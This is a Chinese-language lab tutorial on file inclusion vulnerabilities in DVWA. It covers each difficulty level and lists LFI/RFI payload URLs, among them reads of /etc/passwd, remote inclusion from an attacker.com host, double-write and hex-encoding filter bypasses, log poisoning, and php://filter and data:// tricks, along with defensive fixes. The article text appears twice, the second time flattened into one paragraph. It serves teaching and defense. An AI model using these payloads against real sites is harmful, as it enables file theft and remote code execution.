DVWA-File Inclusion
字数 2120 2025-08-11 17:39:47

文件包含漏洞全面解析与防御

1. 文件包含漏洞概述

文件包含漏洞是一种常见的Web安全漏洞,当应用程序动态包含文件时,未对用户输入进行充分验证,导致攻击者可以包含恶意文件或系统敏感文件。

漏洞原理

  • 服务器端使用includerequire等函数动态包含文件
  • 包含的文件路径由用户可控参数决定
  • 未对用户输入进行严格过滤

危害

  1. 任意文件读取:读取服务器上的敏感文件(如/etc/passwd)
  2. 远程代码执行:包含远程恶意脚本文件
  3. 本地文件执行:结合文件上传漏洞执行恶意代码

2. 漏洞等级分析

2.1 Low级别

代码分析

<?php
// The page we wish to display
$file = $_GET['page'];
?>

漏洞特征

  • 完全未对page参数进行任何过滤
  • 可直接包含任意本地或远程文件

攻击方式

  1. 本地文件包含(LFI)

    • 绝对路径:/vulnerabilities/fi/?page=/etc/passwd
    • 相对路径:/vulnerabilities/fi/?page=etc/passwd
  2. 远程文件包含(RFI)

    • 直接包含:/vulnerabilities/fi/?page=http://attacker.com/malicious.php
    • HEX编码:/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f...
  3. 结合文件上传

    • 上传PHP文件后包含:/vulnerabilities/fi/?page=uploads/malicious.php

2.2 Medium级别

代码分析

<?php
$file = $_GET['page'];
// Input validation
$file = str_replace(array("http://", "https://"), "", $file);
$file = str_replace(array("../", "..\\"), "", $file);
?>

防御措施

  • 删除http://https://../..\\字符串

绕过方法

  1. 绝对路径LFI

    • /vulnerabilities/fi/?page=/etc/passwd (仍然有效)
  2. 双写绕过RFI

    • hthttp://tp://attacker.com/malicious.php → 删除http://后变为http://attacker.com/malicious.php
  3. HEX编码绕过

    • 对双写URL进行HEX编码:%68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f...

2.3 High级别

代码分析

<?php
$file = $_GET['page'];
// Input validation
if(!fnmatch("file*", $file) && $file != "include.php") {
    echo "ERROR: File not found!";
    exit;
}
?>

防御措施

  • 使用fnmatch函数检查文件名必须以"file"开头

绕过方法

  1. file协议包含
    • file:///path/to/malicious.php
    • 示例:/vulnerabilities/fi/?page=file:///var/www/html/uploads/malicious.php

2.4 Impossible级别

代码分析

<?php
$file = $_GET['page'];
// Only allow include.php or file{1..3}.php
if($file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php") {
    echo "ERROR: File not found!";
    exit;
}
?>

防御措施

  • 严格白名单机制,只允许包含特定文件

3. 防御措施总结

  1. 白名单机制

    • 只允许包含预定义的文件(Impossible级别做法)
  2. 输入验证

    • 检查文件名是否符合预期格式
    • 禁止包含远程文件(关闭allow_url_include
  3. 路径限制

    • 设置open_basedir限制PHP可访问的目录
    • 禁止使用../等目录遍历字符
  4. 安全函数

    • 使用basename()获取文件名部分
    • 使用realpath()解析完整路径后验证
  5. 服务器配置

    • PHP配置中设置allow_url_fopen = Offallow_url_include = Off

4. 实际攻击场景示例

4.1 结合文件上传的攻击

  1. 上传一个包含恶意代码的PHP文件到服务器
  2. 通过文件包含漏洞执行该文件
    • /?page=uploads/malicious.php

4.2 日志文件污染攻击

  1. 通过User-Agent或Referer注入PHP代码到日志文件
  2. 包含日志文件执行代码
    • /?page=/var/log/apache2/access.log

4.3 PHP伪协议利用

  1. 使用php://filter读取文件源码
    • /?page=php://filter/convert.base64-encode/resource=config.php
  2. 使用data://执行代码
    • /?page=data://text/plain,<?php phpinfo();?>

5. 检测与验证方法

  1. 本地文件包含测试

    • 尝试包含已知系统文件(如/etc/passwd)
    • 尝试包含Web目录下的配置文件
  2. 远程文件包含测试

    • 尝试包含外部HTTP服务器上的文件
    • 测试各种协议(http://, https://, ftp://等)
  3. 编码绕过测试

    • URL编码
    • 双重编码
    • HEX编码
  4. 路径遍历测试

    • 尝试使用../进行目录遍历
    • 尝试绝对路径

6. 修复建议

  1. 代码层面

    • 使用白名单而非黑名单
    • 对用户输入进行严格验证
    • 避免动态包含用户可控的文件
  2. 架构层面

    • 将可包含文件放在独立目录
    • 限制文件上传目录的执行权限
  3. 运维层面

    • 定期更新PHP版本
    • 审查服务器配置
    • 监控异常文件访问行为

通过全面理解文件包含漏洞的原理、攻击方式和防御措施,开发人员和安全工程师可以更有效地防范此类安全风险。

文件包含漏洞全面解析与防御 1. 文件包含漏洞概述 文件包含漏洞是一种常见的Web安全漏洞,当应用程序动态包含文件时,未对用户输入进行充分验证,导致攻击者可以包含恶意文件或系统敏感文件。 漏洞原理 服务器端使用 include 、 require 等函数动态包含文件 包含的文件路径由用户可控参数决定 未对用户输入进行严格过滤 危害 任意文件读取 :读取服务器上的敏感文件(如/etc/passwd) 远程代码执行 :包含远程恶意脚本文件 本地文件执行 :结合文件上传漏洞执行恶意代码 2. 漏洞等级分析 2.1 Low级别 代码分析 : 漏洞特征 : 完全未对 page 参数进行任何过滤 可直接包含任意本地或远程文件 攻击方式 : 本地文件包含(LFI) : 绝对路径: /vulnerabilities/fi/?page=/etc/passwd 相对路径: /vulnerabilities/fi/?page=etc/passwd 远程文件包含(RFI) : 直接包含: /vulnerabilities/fi/?page=http://attacker.com/malicious.php HEX编码: /vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f... 结合文件上传 : 上传PHP文件后包含: /vulnerabilities/fi/?page=uploads/malicious.php 2.2 Medium级别 代码分析 : 防御措施 : 删除 http:// 、 https:// 、 ../ 和 ..\\ 字符串 绕过方法 : 绝对路径LFI : /vulnerabilities/fi/?page=/etc/passwd (仍然有效) 双写绕过RFI : hthttp://tp://attacker.com/malicious.php → 删除 http:// 后变为 http://attacker.com/malicious.php HEX编码绕过 : 对双写URL进行HEX编码: %68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f... 2.3 High级别 代码分析 : 防御措施 : 使用 fnmatch 函数检查文件名必须以"file"开头 绕过方法 : file协议包含 : file:///path/to/malicious.php 示例: /vulnerabilities/fi/?page=file:///var/www/html/uploads/malicious.php 2.4 Impossible级别 代码分析 : 防御措施 : 严格白名单机制,只允许包含特定文件 3. 防御措施总结 白名单机制 : 只允许包含预定义的文件(Impossible级别做法) 输入验证 : 检查文件名是否符合预期格式 禁止包含远程文件(关闭 allow_url_include ) 路径限制 : 设置 open_basedir 限制PHP可访问的目录 禁止使用 ../ 等目录遍历字符 安全函数 : 使用 basename() 获取文件名部分 使用 realpath() 解析完整路径后验证 服务器配置 : PHP配置中设置 allow_url_fopen = Off 和 allow_url_include = Off 4. 实际攻击场景示例 4.1 结合文件上传的攻击 上传一个包含恶意代码的PHP文件到服务器 通过文件包含漏洞执行该文件 /?page=uploads/malicious.php 4.2 日志文件污染攻击 通过User-Agent或Referer注入PHP代码到日志文件 包含日志文件执行代码 /?page=/var/log/apache2/access.log 4.3 PHP伪协议利用 使用 php://filter 读取文件源码 /?page=php://filter/convert.base64-encode/resource=config.php 使用 data:// 执行代码 /?page=data://text/plain,<?php phpinfo();?> 5. 检测与验证方法 本地文件包含测试 : 尝试包含已知系统文件(如/etc/passwd) 尝试包含Web目录下的配置文件 远程文件包含测试 : 尝试包含外部HTTP服务器上的文件 测试各种协议(http://, https://, ftp://等) 编码绕过测试 : URL编码 双重编码 HEX编码 路径遍历测试 : 尝试使用../进行目录遍历 尝试绝对路径 6. 修复建议 代码层面 : 使用白名单而非黑名单 对用户输入进行严格验证 避免动态包含用户可控的文件 架构层面 : 将可包含文件放在独立目录 限制文件上传目录的执行权限 运维层面 : 定期更新PHP版本 审查服务器配置 监控异常文件访问行为 通过全面理解文件包含漏洞的原理、攻击方式和防御措施,开发人员和安全工程师可以更有效地防范此类安全风险。